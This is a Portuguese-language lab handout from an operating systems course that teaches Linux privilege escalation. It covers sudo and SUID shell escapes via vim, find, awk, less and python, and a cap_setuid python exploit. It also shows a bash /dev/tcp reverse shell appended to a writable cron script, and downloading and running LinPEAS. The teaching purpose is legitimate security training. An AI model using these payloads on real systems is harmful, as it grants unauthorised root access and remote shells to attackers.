Lab 9.1: Escalada de Privilégios no Linux
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Enumerar um sistema Linux para encontrar vetores de escalada
- Explorar binários SUID/SGID mal configurados
- Explorar sudo mal configurado
- Usar GTFOBins para exploração de binários
- Explorar capabilities do Linux
- Explorar tarefas cron mal configuradas
- Utilizar o LinPEAS para automação
- Passar de usuário padrão para root em poucos minutos
Duração Estimada
40 minutos
Pré-requisitos
- VM Linux (Ubuntu/Debian) ou WSL
- Conta de usuário padrão
- Acesso a uma conta com sudo (para configuração)
- Compreensão básica de Linux
Contexto Profissional
A escalada de privilégios no Linux é essencial em:
- Testes de penetração
- CTF e competições
- Auditoria de segurança
- Exercícios de Red Team
Usado após:
- Exploração inicial (web shell, SSH comprometido)
- Para obter root e controle total
AVISO ÉTICO E LEGAL
Técnicas de escalada para obter root sem autorização = Crime informático.
PERMITIDO:
- VM de teste
- Plataformas legais (TryHackMe, HackTheBox)
- Testes autorizados
PROIBIDO:
- Servidores reais sem permissão
- Escalada não autorizada
Parte 1: Enumeração no Linux
Comandos Essenciais
Informações do sistema:
uname -a # Versão do kernel
cat /etc/os-release # Distribuição
hostname # Nome da máquina
id # Seu UID/GID
whoami # Nome do usuário
Permissões e sudo:
sudo -l # Comandos sudo permitidos
cat /etc/sudoers # Configuração do sudo (se legível)
Resultado típico do sudo -l:
User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
CRÍTICO: Usuário pode executar vim como root sem senha!
Buscar arquivos SUID:
find / -perm -4000 2>/dev/null
Resultado:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find ← PERIGOSO SE MAL CONFIGURADO
/usr/bin/vim.basic ← MUITO PERIGOSO
Perguntas:
- Qual versão do kernel seu sistema utiliza?
- Quais comandos sudo você pode executar?
Parte 2: Exploração do Sudo
Sudo com NOPASSWD
Se sudo -l mostrar:
(ALL) NOPASSWD: /usr/bin/vim
Exploração via GTFOBins:
Acesse: https://gtfobins.github.io/gtfobins/vim/
Payload:
sudo vim -c ':!/bin/bash'
Ou:
sudo vim
:set shell=/bin/bash
:shell
BOOM! Shell root!
Verifique:
whoami
id
Resultado: root
De usuário para root em 10 segundos!
Outros Binários Exploitáveis
find:
sudo find /etc -exec /bin/bash \;
awk:
sudo awk 'BEGIN {system("/bin/bash")}'
less:
sudo less /etc/hosts
!bash
python:
sudo python -c 'import os; os.system("/bin/bash")'
Perguntas: 3. A exploração do sudo funcionou? 4. Qual binário você explorou?
Parte 3: Binários SUID
Encontrar SUID Perigosos
Busca:
find / -perm -4000 2>/dev/null
Binários SUID legítimos (normais):
- /usr/bin/passwd
- /usr/bin/sudo
- /usr/bin/su
Binários SUID PERIGOSOS (se presentes):
- /usr/bin/find
- /usr/bin/vim
- /usr/bin/python
- /usr/bin/bash
- /usr/bin/more
- /usr/bin/less
Se find for SUID:
/usr/bin/find /etc -exec /bin/bash -p \;
Opção -p: Preserva SUID (permanece root!)
Perguntas: 5. Quais binários SUID você encontrou? 6. Quais são exploráveis segundo o GTFOBins?
Parte 4: Capabilities do Linux
Listar Capabilities
getcap -r / 2>/dev/null
Resultado típico:
/usr/bin/python3.8 = cap_setuid+ep
cap_setuid: Permite trocar o UID!
Exploração:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Root obtido!
Perguntas: 7. Existem binários com capabilities perigosas presentes?
Parte 5: Cron Jobs
Encontrar Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
Se o script do cron for gravável:
echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh
Aguarde a execução: Shell root!
Parte 6: Automação com LinPEAS
Instalação
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Scan completo automático!
Resultado:
- Todas as vulnerabilidades listadas
- Código de cores (vermelho = crítico)
- Sugestões de exploração
Entregáveis
- Relatório com escalada bem-sucedida de usuário para root
- Método utilizado (sudo, SUID, capabilities)
- Tempo medido para escalada
- Output completo do LinPEAS
Conclusão
Técnicas dominadas:
- Enumeração completa do Linux
- Exploração de sudo
- Exploração de SUID
- Capabilities
- Automação com LinPEAS
Tempo típico de escalada: 5-15 minutos com enumeração!
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 9